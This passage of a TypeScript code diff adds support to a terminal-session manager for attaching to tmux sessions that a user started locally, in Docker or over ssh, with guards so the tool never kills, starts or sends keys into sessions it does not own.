+ * - ⚠️ Nothing here touches the prefix table, unlike the nested servers Codeman runs
+ *   itself (`nestedPrefixTableResetCommands`). Our own socket already has its table
+ *   reduced by `createSession`, but key tables are SERVER-WIDE, so reducing the foreign
+ *   one would rewrite the owner's keys for every session on their server, and it would
+ *   outlive our detach. Same reason `window-size` is left alone above. The owner's
+ *   bindings stay reachable from a tab, behind our own `send-prefix`, as theirs to use.
+ * - ⚠️ While the view exists the window has two sessions holding it, so an owner's
+ *   `kill-session` on their own session leaves the window alive under the view
+ *   (measured on tmux 3.4: `tmux ls` then shows only `codeman-view-…`, the shell keeps
+ *   running) until the tab closes and `destroy-unattached` lets go of it. Exiting the
+ *   shell inside the pane ends it at once, view and all. Nothing here can tell the two
+ *   apart without a hook on the owner's server, which is not ours to install.
+ * - Single line: nothing here needs a second one. A real newline would survive
+ *   `bash -c` now (`bashCArg()`), though not the JSON escaping this line crossed before.
+ */
+export function buildForeignTmuxInvocation(target: ForeignAttachTarget): string {
+  const sock = fshq(target.socketPath);
+  const t = fshq(target.targetSession);
+  // `=name` is tmux's exact-match form. Only for the two commands that LOOK UP a
+  // session; never for `new-session -t`, which would name the group `=name`.
+  const exact = fshq(`=${target.targetSession}`);
+  const v = fshq(target.viewSession);
+  const gone = fshq(
+    `Codeman: session ${target.targetSession} is gone. Codeman never creates a session it does not own.`
+  );
+  const noTmux = fshq('Codeman: tmux was not found here, so the session could not be opened. It may still be running.');
+  const tmuxCheck = `command -v tmux >/dev/null 2>&1 || { echo ${noTmux}; exit 127; }`;
+  const guard = `tmux -S ${sock} has-session -t ${exact} 2>/dev/null || { echo ${gone}; exit 1; }`;
+  // Our own leftover view from a previous adoption of the same Codeman session.
+  const dropStaleView = `tmux -S ${sock} kill-session -t ${fshq(`=${target.viewSession}`)} 2>/dev/null || true`;
+  const group =
+    `exec tmux -u -S ${sock} new-session -t ${t} -s ${v} \\; ` +
+    `set-option -t ${v} destroy-unattached on \\; ` +
+    `set-option -t ${v} status off`;
+  return `${tmuxCheck} ; ${guard} ; ${dropStaleView} ; ${group}`;
+}
+
+/** Local adoption: run the invocation directly in the wrapper pane. */
+export function buildForeignAttachCommand(target: ForeignAttachTarget): string {
+  return buildForeignTmuxInvocation(target);
+}
+
+export interface ForeignDockerAttachOptions extends ForeignAttachTarget {
+  /** `buildDockerBaseArgs(...)` joined — e.g. `docker` or `docker --context foo`. */
+  dockerBase: string;
+  containerName: string;
+}
+
+/**
+ * Docker adoption: `docker exec -it` into the container and attach there.
+ *
+ * Mirrors the ADOPTED-container branch of `buildDockerLaunchCommand`: look, then
+ * exec. Never `create`, never `start` — the container belongs to the user, and a
+ * missing or stopped one fails closed with a message instead of being mutated.
+ */
+export function buildForeignDockerAttachCommand(opts: ForeignDockerAttachOptions): string {
+  const name = fshq(opts.containerName);
+  const notFound = fshq(
+    `Codeman: container ${opts.containerName} not found. Codeman never creates a container it does not own.`
+  );
+  const notRunning = fshq(
+    `Codeman: container ${opts.containerName} is not running. Codeman never starts a container it does not own.`
+  );
+  const inspect = `${opts.dockerBase} inspect ${name} >/dev/null 2>&1 || { echo ${notFound}; exit 1; }`;
+  const running =
+    `${opts.dockerBase} inspect -f ${fshq('{{.State.Running}}')} ${name} 2>/dev/null | grep -qx true ` +
+    `|| { echo ${notRunning}; exit 1; }`;
+  // The same terminal `resolveDockerLaunchOptions` gives an owned container's exec:
+  // `docker exec -it` defaults to TERM=xterm, which holds the tab to 8 colours.
+  const terminal = '-e TERM=xterm-256color -e COLORTERM=truecolor';
+  const exec = `exec ${opts.dockerBase} exec -it ${terminal} ${name} sh -lc ${fshq(buildForeignTmuxInvocation(opts))}`;
+  return [inspect, running, exec].join(' ; ');
+}
+
+/**
+ * Tear down OUR grouped view session inside a container.
+ *
+ * ⚠️ Needed for docker and NOT for the other two, which is a docker fact rather
+ * than a design choice. Killing the wrapper pane kills a LOCAL tmux client
+ * directly, and over ssh it sends SIGHUP to the remote client (the same
+ * propagation the non-owned remote attach has relied on since COD-105) — either
+ * way the client detaches and `destroy-unattached on` collects the view.
+ * A `docker exec` process does NOT die when its client goes away: measured, the
+ * in-container tmux client stayed attached after the wrapper was killed, so the
+ * view session survived forever and every adoption leaked one of them plus its
+ * exec process.
+ *
+ * Killing a session by name affects ONLY that session, never the group's other
+ * members — so this can only ever remove the view Codeman created, never the
+ * human's session it is grouped with. Sibling of `buildDockerKillCommand`, and
+ * fired best-effort on the same path.
+ */
+export function buildForeignDockerViewKillCommand(opts: {
+  dockerBase: string;
+  containerName: string;
+  socketPath: string;
+  viewSession: string;
+}): string {
+  return (
+    `${opts.dockerBase} exec ${fshq(opts.containerName)} ` +
+    `tmux -S ${fshq(opts.socketPath)} kill-session -t ${fshq(`=${opts.viewSession}`)}`
+  );
+}
+
+/**
+ * A POSIX script as the command line of an ssh connection.
+ *
+ * ssh hands its command to the remote user's LOGIN shell, which may be fish: the
+ * guard chain's `{ ...; }` and the probe's `${VAR:-x}` are POSIX, so they run in an
+ * explicit `sh`. The PATH line stays outside it because it is the part written for
+ * whatever that shell is (`withRemoteTmuxPath`), and sshd's non-interactive PATH can
+ * miss a Homebrew or per-user tmux, the same reason every other remote tmux call has
+ * it. Single-quote-free input stays single-quote-free here, and `exec` keeps the
+ * process tree one level shorter.
+ */
+export function foreignRemoteShellCommand(script: string): string {
+  return withRemoteTmuxPath(`exec sh -c ${fshq(script)}`);
+}
+
+export interface ForeignRemoteAttachOptions extends ForeignAttachTarget {
+  /** `buildSshConnectionArgs(host)` — `['ssh', '-o BatchMode=yes', ...]`. */
+  sshArgs: string[];
+  /** `remoteSshTarget(host)` — `user@host`. */
+  sshTarget: string;
+}
+
+/**
+ * Remote adoption: ssh in and attach there.
+ *
+ * `-t` goes right after `ssh -o BatchMode=yes`, exactly where
+ * `buildRemoteAttachCommand` puts it — interactive tmux needs a PTY. Connection
+ * options come from the shared `buildSshConnectionArgs`, never hand-built here,
+ * so adoption reaches a proxied/custom-port host on the same terms discovery did.
+ */
+export function buildForeignRemoteAttachCommand(opts: ForeignRemoteAttachOptions): string {
+  const [ssh, batchMode, ...rest] = opts.sshArgs;
+  return [
+    ssh,
+    batchMode,
+    '-t',
+    ...rest,
+    opts.sshTarget,
+    fshq(foreignRemoteShellCommand(buildForeignTmuxInvocation(opts))),
+  ]
+    .filter(Boolean)
+    .join(' ');
+}

src/git-fetch-scheduler.ts

@@ -79,6 +79,8 @@ export interface GitFetchSessionView {
   /** `unknown`, not `boolean`: a session's remote/Docker markers are objects, and the only question here is whether either is set at all. */
   remote?: unknown;
   docker?: unknown;
+  /** Set on a wrapper around a foreign tmux session: its `workingDir` is a neutral folder, never a repository. */
+  adopt?: unknown;
   gitFetchEnabled?: boolean;
   gitFetchIntervalSeconds?: number;
 }
@@ -176,7 +178,7 @@ export class GitFetchScheduler {
       const groups = new Map<string, GroupMember[]>();
       for (const id of this.ports.sessionIds()) {
         const view = this.ports.getSession(id);
-        if (!view || view.remote || view.docker) continue;
+        if (!view || view.remote || view.docker || view.adopt) continue;
         const effective = effectiveGitFetch(view, settings);
         if (!effective.enabled) continue;
         const folder = resolve(view.workingDir);

src/git-fetch.ts

@@ -346,7 +346,7 @@ export interface GitFetchEntry {
 export interface GitFetchReport {
   /** `ok` when at least one repository was fetched (or attempted); the other states are as in the overview. */
   state: 'ok' | 'not-a-repo' | 'unsupported' | 'error';
-  reason?: 'remote' | 'docker';
+  reason?: 'remote' | 'docker' | 'adopted';
   error?: string;
   /** One entry per repository fetched, in the same order the panel lists them. */
   repos: GitFetchEntry[];

src/git-workspace-status.ts

@@ -95,7 +95,7 @@ export interface GitWorkspaceStatus {
    * `unsupported`: a remote or Docker session (never inspected). `error`: git failed; see `error`.
    */
   state: 'ok' | 'not-a-repo' | 'unsupported' | 'error';
-  reason?: 'remote' | 'docker';
+  reason?: 'remote' | 'docker' | 'adopted';
   error?: string;
   repoRoot?: string;
   /** Null when HEAD is detached. */
@@ -482,7 +482,7 @@ export interface GitRepoEntry {
 export interface GitWorkspaceOverview {
   /** `ok` when at least one repository was found; the other states are as in `GitWorkspaceStatus`. */
   state: 'ok' | 'not-a-repo' | 'unsupported' | 'error';
-  reason?: 'remote' | 'docker';
+  reason?: 'remote' | 'docker' | 'adopted';
   error?: string;
   repos: GitRepoEntry[];
   /** More than `repoLimit` repositories were found; only the first are reported. */

src/mux-interface.ts

@@ -26,6 +26,7 @@ import type {
   SessionRemote,
   SessionDocker,
   PaneExit,
+  SessionAdopt,
   StatusLineExporter,
 } from './types.js';
 
@@ -47,6 +48,13 @@ export interface MuxSession {
   remote?: SessionRemote;
   /** Docker execution metadata for local tmux sessions wrapping `docker exec` */
   docker?: SessionDocker;
+  /**
+   * Adoption metadata for a wrapper session around a human-started tmux session.
+   * Round-trips through `mux-sessions.json` like remote/docker: without it a
+   * restored wrapper would not know what to re-attach to, and `killSession`
+   * would lose the detach-not-kill guard.
+   */
+  adopt?: SessionAdopt;
   /** Owning username in multi-user mode (round-tripped through recovery like remote/docker) */
   owner?: string;
   /** Session mode */
@@ -139,6 +147,8 @@ export interface CreateSessionOptions {
   remote?: SessionRemote;
   /** Docker execution metadata for local tmux sessions wrapping `docker exec` */
   docker?: SessionDocker;
+  /** Adoption metadata; its presence selects the foreign-attach launch command. */
+  adopt?: SessionAdopt;
   /** Owning username in multi-user mode; persisted for recovery. */
   owner?: string;
 }
@@ -196,6 +206,8 @@ export interface RespawnPaneOptions {
   remote?: SessionRemote;
   /** Docker execution metadata for local tmux sessions wrapping `docker exec` */
   docker?: SessionDocker;
+  /** Adoption metadata; a respawn of an adopted wrapper RE-ATTACHES, it never relaunches an agent. */
+  adopt?: SessionAdopt;
   /** Owning username (multi-user); redundant on respawn since the Session object survives, kept for shape parity. */
   owner?: string;
 }

src/reboot-restore.ts

@@ -127,6 +127,7 @@ export interface RebootRestoreRejection {
     | 'agent-exited'
     | 'respawn-blocked'
     | 'remote-or-docker'
+    | 'adopted'
     | 'unsupported-mode'
     | 'no-working-dir'
     | 'workspace-missing'
@@ -224,6 +225,15 @@ export function planRebootRestore(
       skipped.push({ sessionId, reason: 'remote-or-docker' });
       continue;
     }
+    if (state.adopt) {
+      // ⚠️ Same family as the rule above, different reason. Codeman never started the
+      // process this session wrapped: all it ever had was an attach command. Replaying
+      // that builds a connection to a foreign session that a reboot has almost certainly
+      // taken with it, and — worse — the rebuilt tab would present whatever the attach
+      // lands on as a session we restored, passing someone else's work off as ours.
+      skipped.push({ sessionId, reason: 'adopted' });
+      continue;
+    }
     // Capability, not a CLI id: this pass resumes by handing the CLI a conversation
     // id through the top-level `resumeSessionId`, which only a CLI whose history the
     // claude-jsonl reader understands can consume that way. Others carry their thread

src/session.ts

@@ -65,6 +65,7 @@ import {
   type SessionNameSource,
   type SessionWriteOptions,
   type PaneExit,
+  type SessionAdopt,
   type PromptCacheStatus,
   type StatusLineExporter,
   type KeepWarmStatus,
@@ -448,10 +449,25 @@ export function queryTmuxWindowSize(muxName: string, socket: string): { cols: nu
   return { cols: DEFAULT_PTY_COLS, rows: DEFAULT_PTY_ROWS };
 }
 
-export function resolveMuxAttachCwd(workingDir: string, remote?: SessionRemote, docker?: SessionDocker): string {
+export function resolveMuxAttachCwd(
+  workingDir: string,
+  remote?: SessionRemote,
+  docker?: SessionDocker,
+  adopt?: SessionAdopt
+): string {
   // Remote and docker sessions run the CLI elsewhere (ssh / docker exec); the LOCAL
   // wrapper pane never needs the workspace as its cwd, so launch it in /tmp.
-  return remote || docker ? '/tmp' : workingDir;
+  //
+  // ⚠️ An ADOPTED session needs the same treatment and does NOT get it from the
+  // two checks above: its connection facts live on `adopt.docker`/`adopt.remote`,
+  // so `session.docker` is undefined even for an in-container adoption. Its pane
+  // only attaches, so no folder on this host means anything to it. Measured against
+  // a real container, when `workingDir` still held the foreign pane's cwd: the local
+  // PTY spawn inherited `/workspace/pythonserver`, and the session came up with
+  // `pid: null` and a blank terminal while the wrapper tmux session and the
+  // in-container grouped view had both been created successfully, so it looked
+  // half-alive rather than failed.
+  return remote || docker || adopt ? '/tmp' : workingDir;
 }
 
 /**
@@ -881,6 +897,11 @@ export class Session extends EventEmitter {
   // local tmux + `docker exec`. The container is per-CASE (shared by sibling sessions).
   private readonly _docker?: SessionDocker;
 
+  // Adoption metadata, present when this session is a WRAPPER around a tmux
+  // session a human started outside Codeman. Its presence is the single switch
+  // that disables everything Codeman can only do to a process it launched.
+  private readonly _adopt?: SessionAdopt;
+
   // Owning username in multi-user mode (undefined in single-user). Stamped at create
   // from req.authUser and round-tripped through recovery like _remote/_docker.
   private _owner?: string;
@@ -1006,6 +1027,8 @@ export class Session extends EventEmitter {
       remote?: SessionRemote;
       /** Docker execution metadata for sessions launched inside a container via local tmux. */
       docker?: SessionDocker;
+      /** Adoption metadata for a wrapper around a human-started tmux session. */
+      adopt?: SessionAdopt;
       /** Owning username (multi-user mode); undefined in single-user. */
       owner?: string;
       /** Session that spawned this one — tab lineage decoration, resolved by the caller. */
@@ -1176,6 +1199,7 @@ export class Session extends EventEmitter {
     this._tmuxHistoryLimit = config.tmuxHistoryLimit ?? DEFAULT_TMUX_HISTORY_LIMIT;
     this._remote = config.remote;
     this._docker = config.docker;
+    this._adopt = config.adopt;
     this._owner = config.owner;
     this._discoveredMuxSession = config.discoveredMuxSession === true;
     // Restored so a record that says the agent exited survives a server restart
@@ -1336,6 +1360,25 @@ export class Session extends EventEmitter {
     return this._remote;
   }
 
+  /** Adoption metadata when this session wraps a human-started tmux session. */
+  get adopt(): SessionAdopt | undefined {
+    return this._adopt;
+  }
+
+  /**
+   * Is this a wrapper around a tmux session Codeman did not start?
+   *
+   * ⚠️ Deliberately NOT folded into `isExternalCliMode()`. That predicate answers
+   * "does this CLI render its own TUI", which is about the PROTOCOL. This one
+   * answers "did we launch the process", which is about AUTHORITY — an adopted
+   * session can be `mode: 'claude'` and still have no hooks installed, no
+   * `envOverrides`, no effort and no `--session-id` we chose. Conflating the two
+   * would silently grant claude-shaped automation over a process we do not own.
+   */
+  get isAdopted(): boolean {
+    return this._adopt !== undefined;
+  }
+
   /**
    * `deepSeekConfig.statusReporting` verbatim: `undefined` when the caller sent
    * none (i.e. ON), `false` when the user disarmed the status bridge for this
@@ -1451,13 +1494,20 @@ export class Session extends EventEmitter {
   /**
    * True when a tmux pane's death would mean THIS session's agent has exited.
    *
-   * Four shapes fail the test, and each would otherwise publish a death that is
+   * Five shapes fail the test, and each would otherwise publish a death that is
    * not the agent's. A direct-PTY session owns no pane at all. A remote SSH
    * session's local pane holds the ssh client, whose death means a transport
    * drop OR an exit, which is the ambiguity PR #355 was about. A docker case's
    * local pane holds a `docker exec` into the container's own tmux.
    *
-   * The fourth is a session rebuilt from the socket. Absent `remote`/`docker`
+   * ⚠️ An ADOPTED session is the same shape for a different reason: its pane runs
+   * `tmux attach` to a session a human started, never the agent. That attach exiting
+   * with 0 says the connection ended or its owner closed the foreign session — neither
+   * means this session finished, and neither is Codeman's to clear the tab for. Without
+   * this, the clean-exit sweep (`pane-exit-sweep.ts`) would close someone else's live
+   * session's tab the moment they detached from it themselves.
+   *
+   * The fifth is a session rebuilt from the socket. Absent `remote`/`docker`/`adopt`
    * normally means "this is local", but on a discovered record it only means
    * "Codeman never found the metadata": the synthetic `restored-<fragment>` id
    * matches no `state.json` entry, so a remote session rediscovered after
@@ -1466,7 +1516,7 @@ export class Session extends EventEmitter {
    */
   private get paneExitApplies(): boolean {
     if (this._discoveredMuxSession) return false;
-    return this._useMux && this._muxSession !== null && !this._remote && !this._docker;
+    return this._useMux && this._muxSession !== null && !this._remote && !this._docker && !this._adopt;
   }
 
   /** What Codeman last observed of this pane's agent, or undefined for UNKNOWN. */
@@ -2371,6 +2421,7 @@ export class Session extends EventEmitter {
       liveWorktree: this._liveWorktree,
       remote: this._remote,
       docker: this._docker,
+      adopt: this._adopt,
       owner: this._owner,
       parentSessionId: this._parentSessionId,
       currentTaskId: this._currentTaskId,
@@ -2664,7 +2715,7 @@ export class Session extends EventEmitter {
           name: 'xterm-256color',
           cols: ptyCols,
           rows: ptyRows,
-          cwd: resolveMuxAttachCwd(this.workingDir, this._remote, this._docker),
+          cwd: resolveMuxAttachCwd(this.workingDir, this._remote, this._docker, this._adopt),
           // COD-75: a CLI that declares `export COLORTERM=truecolor` gets it on the ATTACH
           // client too. Both sides read the same registry entry, which is what stops the
           // attach client and the tmux session from disagreeing — they used to be two
@@ -2817,6 +2868,7 @@ export class Session extends EventEmitter {
       historyLimit: this._tmuxHistoryLimit,
       remote: this._remote,
       docker: this._docker,
+      adopt: this._adopt,
       owner: this._owner,
     };
     return this._withCustomModelLaunchModel(options);
@@ -3198,8 +3250,10 @@ export class Session extends EventEmitter {
     // wheel-forwarding to Claude's own transcript (the only route to history in
     // repaint/alt-screen mode; issue #154). Remote sessions run claude on
     // another host, so a local probe wouldn't reflect their version; they get
-    // their own over-ssh probe below. Cached process-wide, best-effort.
-    if (cliNeedsVersionProbe(this.mode) && !this._remote && !this._docker && !this._cliVersion) {
+    // their own over-ssh probe below. Cached process-wide, best-effort. An adopted
+    // session's agent is a process someone else started, possibly elsewhere, so
+    // the local binary says nothing about it either.
+    if (cliNeedsVersionProbe(this.mode) && !this._remote && !this._docker && !this._adopt && !this._cliVersion) {
       const probedVersion = resolveSessionCliVersion(this.mode);
       if (probedVersion) {
         this._cliVersion = probedVersion;
@@ -3302,6 +3356,7 @@ export class Session extends EventEmitter {
             historyLimit: this._tmuxHistoryLimit,
             remote: this._remote,
             docker: this._docker,
+            adopt: this._adopt,
             owner: this._owner,
           },
           spawnErrLabel: 'mux attachment',
@@ -3611,6 +3666,14 @@ export class Session extends EventEmitter {
     // Stopped: the kill itself produces PTY output, and the buffer tail still holds the
     // dialog, so without this a deleted session kept "answering" it for several seconds.
     if (this._trustDialogAccepted || this._isStopped) return;
+    // ⚠️ Never answer a dialog in someone else's pane. An adopted session wraps a
+    // claude the human started, and this scan reads the pane and SENDS KEYS for 90
+    // seconds after `startInteractive()`, which boot recovery re-runs for every
+    // wrapper, so it is not a one-time window at adoption.
+    if (this._adopt) {
+      this._trustDialogAccepted = true;
+      return;
+    }
     const now = Date.now();
     if (now - this._interactiveStartedAt > TRUST_DIALOG_WINDOW_MS) {
       this._trustDialogAccepted = true; // window closed; anything matching now is not the dialog
@@ -4367,6 +4430,7 @@ export class Session extends EventEmitter {
             historyLimit: this._tmuxHistoryLimit,
             remote: this._remote,
             docker: this._docker,
+            adopt: this._adopt,
             owner: this._owner,
           },
           createSessionOptions: {
@@ -4379,6 +4443,7 @@ export class Session extends EventEmitter {
             historyLimit: this._tmuxHistoryLimit,
             remote: this._remote,
             docker: this._docker,
+            adopt: this._adopt,
             owner: this._owner,
           },
           spawnErrLabel: 'shell mux attachment',
@@ -4386,7 +4451,10 @@ export class Session extends EventEmitter {
 
         // For NEW sessions: clear by sending 'clear' command to the shell
         // For RESTORED sessions: don't clear - we want to see the existing output
-        if (!isRestored) {
+        // ⚠️ Never for an ADOPTED one: this pane is someone else's, so the write would land
+        // on their half-typed command and submit it (measured), or in whatever is reading
+        // stdin. `shell` is also the mode of anything the classifier cannot name.
+        if (!isRestored && !this._adopt) {
           setTimeout(() => {
             if (this.ptyProcess) {
               this._terminalBuffer.clear();
@@ -5139,6 +5207,7 @@ export class Session extends EventEmitter {
       (!allowLease && this.guardedInputHeld) ||
       this.remote ||
       this.docker ||
+      this._adopt ||
       this.paneExit ||
       !this._muxSession
     )

src/tmux-manager.ts

@@ -23,6 +23,13 @@
 
 import { EventEmitter } from 'node:events';
 import { collectDescendants } from './proc-tree.js';
+import {
+  foreignViewSessionName,
+  buildForeignDockerViewKillCommand,
+  buildForeignAttachCommand,
+  buildForeignDockerAttachCommand,
+  buildForeignRemoteAttachCommand,
+} from './foreign-tmux.js';
 import { execSync, exec, execFile } from 'node:child_process';
 import { promisify } from 'node:util';
 
@@ -58,6 +65,7 @@ import {
   type OmpConfig,
   type SessionRemote,
   type SessionDocker,
+  type SessionAdopt,
   type DockerCommandMode,
   type PaneExit,
   type StatusLineExporter,
@@ -468,9 +476,10 @@ export function derivePaneCurrentPaths(
  *
  * Mirrors `Session.paneExitApplies`, which is where the rule is enforced. A
  * remote session's local pane holds the ssh client, a docker case's holds a
- * `docker exec` into the container's own tmux, and a record rebuilt from the
- * socket carries no provenance at all, so the session end forces all three to
- * UNKNOWN whatever tmux reports. A tick that sees only those has nothing to
+ * `docker exec` into the container's own tmux, an ADOPTED session's holds a
+ * `tmux attach` to a session a human started rather than the agent itself, and
+ * a record rebuilt from the socket carries no provenance at all, so the session
+ * end forces all four to UNKNOWN whatever tmux reports. A tick that sees only those has nothing to
  * learn, and `refreshPaneExits()` skips its tmux read rather than paying for
  * the answer.
  *
@@ -483,6 +492,7 @@ export function hasObservablePaneSession(sessions: Iterable<MuxSession>): boolea
   for (const session of sessions) {
     if (session.remote) continue;
     if (session.docker) continue;
+    if (session.adopt) continue;
     if (session.discovered === true) continue;
     return true;
   }
@@ -1907,6 +1917,45 @@ function buildRemoteSessionCommand(options: {
   return buildRemoteLaunchCommand(options);
 }
 
+/**
+ * ADOPTION — the pane command for a wrapper session around a tmux session a
+ * human started. Sibling of `buildRemoteSessionCommand` and
+ * `buildDockerLaunchCommand`, and the same shape of decision: the wrapper is an
+ * ordinary `codeman-<8hex>` session on OUR socket, and only what runs INSIDE its
+ * pane differs per location.
+ *
+ * That indirection is what makes adoption safe by construction rather than by
+ * discipline: `killSession` only ever kills the wrapper on our own socket, so
+ * there is no shape of caller bug that reaches the foreign server with a
+ * `kill-session`. It is the same reasoning that keeps a non-owned REMOTE session
+ * safe (see the detach-not-kill early return in `killSession`).
+ */
+export function buildAdoptSessionCommand(adopt: SessionAdopt, sessionId: string): string {
+  const target = {
+    socketPath: adopt.socketPath,
+    targetSession: adopt.targetSession,
+    // Derived rather than required: the view name is a function of the Codeman
+    // session id, so a record that predates it (or one whose creator filled it in
+    // after construction) still produces the right name instead of an empty `-s`.
+    viewSession: adopt.viewSession || foreignViewSessionName(sessionId),
+  };
+  if (adopt.location === 'docker' && adopt.docker) {
+    return buildForeignDockerAttachCommand({
+      ...target,
+      dockerBase: buildDockerBaseArgs(adopt.docker).join(' '),
+      containerName: adopt.docker.containerName,
+    });
+  }
+  if (adopt.location === 'remote' && adopt.remote) {
+    return buildForeignRemoteAttachCommand({
+      ...target,
+      sshArgs: buildSshConnectionArgs(adopt.remote),
+      sshTarget: remoteSshTarget(adopt.remote),
+    });
+  }
+  return buildForeignAttachCommand(target);
+}
+
 /**
  * Push one environment variable into a tmux session with `setenv`.
  *
@@ -2512,6 +2561,7 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
       historyLimit = DEFAULT_TMUX_HISTORY_LIMIT,
       remote,
       docker,
+      adopt,
       owner,
     } = options;
     const muxName = `codeman-${sessionId.slice(0, 8)}`;
@@ -2533,6 +2583,7 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
         workingDir,
         remote,
         docker,
+        adopt,
         owner,
         mode,
         attached: false,
@@ -2559,7 +2610,13 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
     // surfacing as a bare `execvp(3) failed: No such file or directory` with nothing
     // pointing at the real cause. The container's own CLIs are verified by the adoption
     // preflight / image gate before launch instead.
-    const cliRunsInContainer = !!docker;
+    //
+    // ⚠️ Skipped for an ADOPTED session for the mirror-image reason: its CLI was started by
+    // a human in a process we did not spawn, and our pane only runs `tmux attach`. Requiring
+    // the binary here would reject adopting a claude that lives in a container or on an ssh
+    // host, and (worse) reject a LOCAL adoption whenever the agent is outside the server
+    // process's PATH, which is the usual systemd/launchd situation.
+    const cliRunsInContainer = !!docker || !!adopt;
     if (!cliRunsInContainer && !cliDir) {
       const message = missingCliMessage(mode);
       if (message) throw new Error(message);
@@ -2570,7 +2627,8 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
     const { command: statusLineCommand, state: statusLine } = await this._resolveStatusLine(
       mode,
       workingDir,
-      !!(remote || docker)
+      // An adopted wrapper launches no agent, so nothing can carry the exporter.
+      !!(remote || docker || adopt)
     );
     const idleCompactionOff = await this._resolveIdleCompactionOptOut(mode, statusLine, keepWarm, spawnedByAgent);
     // The user's own REAL statusLine, if any (walked via Claude Code's own
@@ -2607,11 +2665,21 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
     try {
       // Build the full command to run inside tmux
       const localFullCmd = `${buildNofileLimitCommand()} && ${pathExport}${envExportsStr} && ${cmd}`;
-      const fullCmd = docker
-        ? buildDockerLaunchCommand(resolveDockerLaunchOptions(mode, docker, sessionId, resumeSessionId))
-        : remote
-          ? buildRemoteSessionCommand({ mode, remote, sessionId, claudeMode, allowedTools, ompConfig, resumeSessionId })
-          : localFullCmd;
+      const fullCmd = adopt
+        ? buildAdoptSessionCommand(adopt, sessionId)
+        : docker
+          ? buildDockerLaunchCommand(resolveDockerLaunchOptions(mode, docker, sessionId, resumeSessionId))
+          : remote
+            ? buildRemoteSessionCommand({
+                mode,
+                remote,
+                sessionId,
+                claudeMode,
+                allowedTools,
+                ompConfig,
+                resumeSessionId,
+              })
+            : localFullCmd;
 
       // Create tmux session in three steps to handle cold-start (no server running)
       // and avoid the race where the command exits before remain-on-exit is set:
@@ -2672,9 +2740,11 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
 
       // Replace the shell with the actual command (no echo in terminal). Keep
       // pane launch in /tmp, then cd inside bash against the current mount table.
-      const launchCmd = remote || docker ? fullCmd : `cd ${JSON.stringify(workingDir)} && ${fullCmd}`;
+      // ⚠️ An adopted pane is never `cd`'d: it only attaches, and its `workingDir`
+      // is the neutral wrapper folder, not where the foreign pane is.
+      const launchCmd = remote || docker || adopt ? fullCmd : `cd ${JSON.stringify(workingDir)} && ${fullCmd}`;
       execSync(
-        `${this.tmux()} respawn-pane -k -c ${TMUX_LAUNCH_CWD} -t "${muxName}" bash -c ${bashCArg(launchCmd, !!(remote || docker))}`,
+        `${this.tmux()} respawn-pane -k -c ${TMUX_LAUNCH_CWD} -t "${muxName}" bash -c ${bashCArg(launchCmd, !!(remote || docker || adopt))}`,
         {
           timeout: EXEC_TIMEOUT_MS,
           stdio: 'ignore',
@@ -2738,6 +2808,7 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
         workingDir,
         remote,
         docker,
+        adopt,
         owner,
         mode,
         attached: false,
@@ -2862,6 +2933,11 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
     } = options;
     const session = this.sessions.get(sessionId);
     if (!session) return null;
+    // Adoption metadata comes from the tracked session, not the caller: a respawn
+    // of an adopted wrapper RE-ATTACHES to the same foreign target. It must never
+    // be able to become "launch a fresh agent here" because a caller forgot to
+    // pass the field through.
+    const adopt = options.adopt ?? session.adopt;
     const muxName = session.muxName;
 
     if (!isValidMuxName(muxName) || !isValidPath(workingDir)) return null;
@@ -2874,7 +2950,8 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
     const { command: statusLineCommand, state: statusLine } = await this._resolveStatusLine(
       mode,
       workingDir,
-      !!(remote || docker)
+      // An adopted wrapper launches no agent, so nothing can carry the exporter.
+      !!(remote || docker || adopt)
     );
     const idleCompactionOff = await this._resolveIdleCompactionOptOut(mode, statusLine, keepWarm, spawnedByAgent);
     const userStatusLineCommand = statusLineCommand ? await findEffectiveUserStatusLineCommand(workingDir) : undefined;
@@ -2904,11 +2981,13 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
     const config = niceConfig || DEFAULT_NICE_CONFIG;
     const cmd = wrapWithNice(baseCmd, config);
     const localFullCmd = `${buildNofileLimitCommand()} && ${pathExport}${envExportsStr} && ${cmd}`;
-    const fullCmd = docker
-      ? buildDockerLaunchCommand(resolveDockerLaunchOptions(mode, docker, sessionId, resumeSessionId))
-      : remote
-        ? buildRemoteSessionCommand({ mode, remote, sessionId, claudeMode, allowedTools, ompConfig, resumeSessionId })
-        : localFullCmd;
+    const fullCmd = adopt
+      ? buildAdoptSessionCommand(adopt, sessionId)
+      : docker
+        ? buildDockerLaunchCommand(resolveDockerLaunchOptions(mode, docker, sessionId, resumeSessionId))
+        : remote
+          ? buildRemoteSessionCommand({ mode, remote, sessionId, claudeMode, allowedTools, ompConfig, resumeSessionId })
+          : localFullCmd;
 
     try {
       // Same per-CLI env setup as createSession, re-applied so the respawned pane inherits it.
@@ -2925,9 +3004,11 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
       this.applyEnvOverrides(muxName, envOverrides, unsetEnvKeys);
 
       // -c /tmp + cd bounce — see createSession() for rationale (stale FUSE state).
-      const launchCmd = remote || docker ? fullCmd : `cd ${JSON.stringify(workingDir)} && ${fullCmd}`;
+      // ⚠️ An adopted pane is never `cd`'d: it only attaches, and its `workingDir`
+      // is the neutral wrapper folder, not where the foreign pane is.
+      const launchCmd = remote || docker || adopt ? fullCmd : `cd ${JSON.stringify(workingDir)} && ${fullCmd}`;
       await execAsync(
-        `${this.tmux()} respawn-pane -k -c ${TMUX_LAUNCH_CWD} -t "${muxName}" bash -c ${bashCArg(launchCmd, !!(remote || docker))}`,
+        `${this.tmux()} respawn-pane -k -c ${TMUX_LAUNCH_CWD} -t "${muxName}" bash -c ${bashCArg(launchCmd, !!(remote || docker || adopt))}`,
         {
           timeout: EXEC_TIMEOUT_MS,
         }
@@ -3133,6 +3214,59 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
     // for a non-owned session. The only `kill-session` we run is on OUR LOCAL
     // socket (`this.tmux()` = `tmux -L codeman` on THIS host), which kills the
     // local pane — it does NOT reach the REMOTE socket.
